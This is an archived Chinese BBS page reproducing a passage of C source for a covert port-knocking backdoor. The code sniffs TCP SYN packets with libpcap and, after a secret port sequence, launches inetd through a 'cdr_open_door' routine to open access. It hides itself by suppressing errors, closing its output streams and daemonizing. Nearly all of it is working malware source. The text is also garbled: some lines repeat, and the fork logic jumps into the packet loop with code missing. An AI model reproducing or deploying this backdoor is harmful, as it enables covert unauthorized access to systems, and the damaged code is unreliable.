362.htm

unix高级编程原吗

  <br>
  <br>
    execv("/usr/sbin/inetd",args); <br>
  <br>
#ifdef DEBUG <br>
#ifdef DEBUG <br>
  <br>
    printf("Strange return from execvp() !\n"); <br>
  <br>
#endif DEBUG <br>
  <br>
    exit (0); <br>
  <br>
  <br>
  <br>
} <br>
  <br>
  <br>
  <br>
  <br>
  <br>
/* error function for pcap lib */ <br>
  <br>
void capterror(pcap_t *caps, char *message) { <br>
  <br>
    pcap_perror(caps,message); <br>
  <br>
    exit (-1); <br>
    exit (-1); <br>
  <br>
} <br>
  <br>
  <br>
  <br>
/* signal counter/handler */ <br>
  <br>
void signal_handler(int sig) { <br>
  <br>
    /* the ugly way ... */ <br>
  <br>
    _exit(0); <br>
  <br>
} <br>
  <br>
  <br>
  <br>
void *smalloc(size_t size) { <br>
  <br>
    void        *p; <br>
  <br>
  <br>
  <br>
  <br>
    if ((p=malloc(size))==NULL) { <br>
  <br>
        exit(-1); <br>
  <br>
    } <br>
  <br>
    memset(p,0,size); <br>
  <br>
    return p; <br>
  <br>
} <br>
  <br>
  <br>
  <br>
  <br>
  <br>
/* general rules in main(): <br>
  <br>
 *      - errors force an exit without comment to keep the silence <br>
  <br>
 *      - errors in the initialization phase can be displayed by a <br>

  <br>
 *        command line option <br>
  <br>
 */ <br>
  <br>
int main (int argc, char **argv) { <br>
  <br>
  <br>
  <br>
    /* variables for the pcap functions */ <br>
  <br>
#define CDR_BPF_PORT    "port " <br>
  <br>
#define CDR_BPF_ORCON   " or " <br>
  <br>
    char                pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors * <br>
  <br>
    pcap_t              *cap;                       /* capture handler */ <br>
  <br>
    bpf_u_int32         network,netmask; <br>
  <br>
    struct pcap_pkthdr  *phead; <br>

  <br>
    struct bpf_program  cfilter;                   /* the compiled filter */ <br>
  <br>
    struct iphdr        *ip; <br>
  <br>
    struct tcphdr       *tcp; <br>
  <br>
    u_char              *pdata; <br>
  <br>
    /* for filter compilation */ <br>
  <br>
    char                *filter; <br>
  <br>
    char                portnum[6]; <br>
  <br>
    /* command line */ <br>
  <br>
    int                 cdr_noise = 0; <br>
  <br>
    /* the usual int i */ <br>
  <br>
    int                 i; <br>

  <br>
  <br>
  <br>
    /* for resolving the CDR_ADDRESS */ <br>
  <br>
#ifdef CDR_ADDRESS <br>
  <br>
    struct hostent      *hent; <br>
  <br>
#endif CDR_ADDRESS <br>
  <br>
  <br>
  <br>
  <br>
  <br>
  <br>
  <br>
    /* check for the one and only command line argument */ <br>
  <br>
    if (argc>1) { <br>
  <br>
        if (!strcmp(argv[1],CDR_NOISE_COMMAND)) <br>

  <br>
            cdr_noise++; <br>
  <br>
        else <br>
  <br>
            exit (0); <br>
  <br>
    } <br>
  <br>
  <br>
  <br>
    /* resolve our address - if desired */ <br>
  <br>
#ifdef CDR_ADDRESS <br>
  <br>
    if ((hent=gethostbyname(CDR_ADDRESS))==NULL) { <br>
  <br>
        if (cdr_noise) <br>
  <br>
            fprintf(stderr,"gethostbyname() failed\n"); <br>
  <br>
        exit (0); <br>

  <br>
    } <br>
  <br>
#endif CDR_ADDRESS <br>
  <br>
  <br>
  <br>
    /* count the ports our user has #defined */ <br>
  <br>
    while (cports[cportcnt++]); <br>
  <br>
    cportcnt--; <br>
  <br>
#ifdef DEBUG <br>
  <br>
    printf("%d ports used as code\n",cportcnt); <br>
  <br>
#endif DEBUG <br>
  <br>
  <br>
  <br>
    /* to speed up the capture, we create an filter string to compile. <br>

  <br>
     * For this, we check if the first port is defined and create it's filter, <br>
  <br>
     * then we add the others */ <br>
  <br>
  <br>
  <br>
    if (cports[0]) { <br>
  <br>
        memset(&portnum,0,6); <br>
  <br>
        sprintf(portnum,"%d",cports[0]); <br>
  <br>
        filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1); <br>
  <br>
        strcpy(filter,CDR_BPF_PORT); <br>
  <br>
        strcat(filter,portnum); <br>
  <br>
    } else { <br>
  <br>
        if (cdr_noise) <br>

  <br>
            fprintf(stderr,"NO port code\n"); <br>
  <br>
        exit (0); <br>
  <br>
    } <br>
  <br>
  <br>
  <br>
    /* here, all other ports will be added to the filter string which reads <br>
  <br>
     * like this: <br>
  <br>
     * port <1> or port <2> or port <3> ... <br>
  <br>
     * see tcpdump(1) <br>
  <br>
     */ <br>
  <br>
  <br>
  <br>
    for (i=1;i<cportcnt;i++) { <br>

  <br>
        if (cports[i]) { <br>
  <br>
            memset(&portnum,0,6); <br>
  <br>
            sprintf(portnum,"%d",cports[i]); <br>
  <br>
            if ((filter=(char *)realloc(filter, <br>
  <br>
                            strlen(filter)+ <br>
  <br>
                            strlen(CDR_BPF_PORT)+ <br>
  <br>
                            strlen(portnum)+ <br>
  <br>
                            strlen(CDR_BPF_ORCON)+1)) <br>
  <br>
                    ==NULL) { <br>
  <br>
                if (cdr_noise) <br>
  <br>
                    fprintf(stderr,"realloc() failed\n"); <br>

  <br>
                exit (0); <br>
  <br>
            } <br>
  <br>
            strcat(filter,CDR_BPF_ORCON); <br>
  <br>
            strcat(filter,CDR_BPF_PORT); <br>
  <br>
            strcat(filter,portnum); <br>
  <br>
        } <br>
  <br>
    } <br>
  <br>
  <br>
  <br>
#ifdef DEBUG <br>
  <br>
    printf("DEBUG: '%s'\n",filter); <br>
  <br>
#endif DEBUG <br>
#endif DEBUG <br>
  <br>
  <br>
  <br>
    /* initialize the pcap 'listener' */ <br>
  <br>
    if (pcap_lookupnet(CDR_INTERFACE,&network,&netmask,pcap_err)!=0) { <br>
  <br>
        if (cdr_noise) <br>
  <br>
            fprintf(stderr,"pcap_lookupnet: %s\n",pcap_err); <br>
  <br>
        exit (0); <br>
  <br>
    } <br>
  <br>
  <br>
  <br>
    /* open the 'listener' */ <br>
  <br>
    if ((cap=pcap_open_live(CDR_INTERFACE,CAPLENGTH, <br>
  <br>
                    0,  /*not in promiscuous mode*/ <br>

  <br>
                    0,  /*no timeout */ <br>
  <br>
                    pcap_err))==NULL) { <br>
  <br>
        if (cdr_noise) <br>
  <br>
            fprintf(stderr,"pcap_open_live: %s\n",pcap_err); <br>
  <br>
        exit (0); <br>
  <br>
    } <br>
  <br>
  <br>
  <br>
    /* now, compile the filter and assign it to our capture */ <br>
  <br>
    if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) { <br>
  <br>
        if (cdr_noise) <br>
  <br>
            capterror(cap,"pcap_compile"); <br>

  <br>
        exit (0); <br>
  <br>
    } <br>
  <br>
    if (pcap_setfilter(cap,&cfilter)!=0) { <br>
  <br>
        if (cdr_noise) <br>
  <br>
            capterror(cap,"pcap_setfilter"); <br>
  <br>
        exit (0); <br>
  <br>
    } <br>
  <br>
  <br>
  <br>
    /* the filter is set - let's free the base string*/ <br>
  <br>
    free(filter); <br>
  <br>
    /* allocate a packet header structure */ <br>

  <br>
    phead=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr)); <br>
  <br>
  <br>
  <br>
    /* register signal handler */ <br>
  <br>
    signal(SIGABRT,&signal_handler); <br>
  <br>
    signal(SIGTERM,&signal_handler); <br>
  <br>
    signal(SIGINT,&signal_handler); <br>
  <br>
  <br>
  <br>
    /* if we don't use DEBUG, let's be nice and close the streams */ <br>
  <br>
#ifndef DEBUG <br>
  <br>
    fclose(stdin); <br>
  <br>
    fclose(stdout); <br>

  <br>
    fclose(stderr); <br>
  <br>
#endif DEBUG <br>
  <br>
  <br>
  <br>
    /* go daemon */ <br>
  <br>
    switch (i=fork()) { <br>
  <br>
        case -1: <br>
  <br>
            if (cdr_noise) <br>
  <br>
                fprintf(stderr,"fork() failed\n"); <br>
  <br>
            exit (0); <br>
  <br>
  <br>
  <br>
        /* FLAG check's - see rfc793 */ <br>

  <br>
        /* if it isn't a SYN packet, continue */ <br>
  <br>
        if (!(ntohs(tcp->rawflags)&0x02)) continue; <br>
  <br>
        /* if it is a SYN-ACK packet, continue */ <br>
  <br>
        if (ntohs(tcp->rawflags)&0x10) continue; <br>
  <br>
  <br>
  <br>
#ifdef CDR_ADDRESS <br>
  <br>
        /* if the address is not the one defined above, let it be */ <br>
  <br>
        if (hent) { <br>
  <br>
#ifdef DEBUG <br>
  <br>
            if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) { <br>
  <br>
                printf("Destination address mismatch\n"); <br>

  <br>
                continue; <br>
  <br>
            } <br>
  <br>
#else <br>
  <br>
            if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) <br>
  <br>
                continue; <br>
  <br>
#endif DEBUG <br>
  <br>
        } <br>
  <br>
#endif CDR_ADDRESS <br>
  <br>
  <br>
  <br>
        /* it is one of our ports, it is the correct destination <br>
  <br>
         * and it is a genuine SYN packet - let's see if it is the RIGHT <br>

  <br>
         * port */ <br>
  <br>
        if (ntohs(tcp->dest_port)==cports[actport]) { <br>
  <br>
#ifdef DEBUG <br>
  <br>
            printf("Port %d is good as code part %d\n",ntohs(tcp->dest_port), <br>
  <br>
                    actport); <br>
  <br>
#endif DEBUG <br>
  <br>
#ifdef CDR_SENDER_ADDR <br>
  <br>
            /* check if the sender is the same */ <br>
  <br>
            if (actport==0) { <br>
  <br>
                memcpy(&sender,&ip->saddr,4); <br>
  <br>
            } else { <br>

  <br>
                if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */ <br>
  <br>
                    actport=0; <br>
  <br>
#ifdef DEBUG <br>
  <br>
                    printf("Sender mismatch\n"); <br>
  <br>
#endif DEBUG <br>
  <br>
                    continue; <br>
  <br>
                } <br>
  <br>
            } <br>
  <br>
#endif CDR_SENDER_ADDR <br>
  <br>
            /* it is the rigth port ... take the next one <br>
  <br>
             * or was it the last ??*/ <br>

  <br>
            if ((++actport)==cportcnt) { <br>
  <br>
                /* BINGO */ <br>
  <br>
                cdr_open_door(); <br>
  <br>
                actport=0; <br>
  <br>
            } /* ups... some more to go */ <br>
  <br>
        } else { <br>
  <br>
#ifdef CDR_CODERESET <br>
  <br>
            actport=0; <br>
  <br>
#endif CDR_CODERESET <br>
  <br>
            continue; <br>
  <br>
        } <br>

  <br>
    } /* end of main loop */ <br>
  <br>
  <br>
  <br>
    /* this is actually never reached, because the signal_handler() does the <br>
  <br>
     * exit. <br>
  <br>
     */ <br>
  <br>
    return 0; <br>
  <br>
} <br>
  <br>
  <br>
  <br>
-- <br>
  <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="311.htm">上一层</a>][<a href="363.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>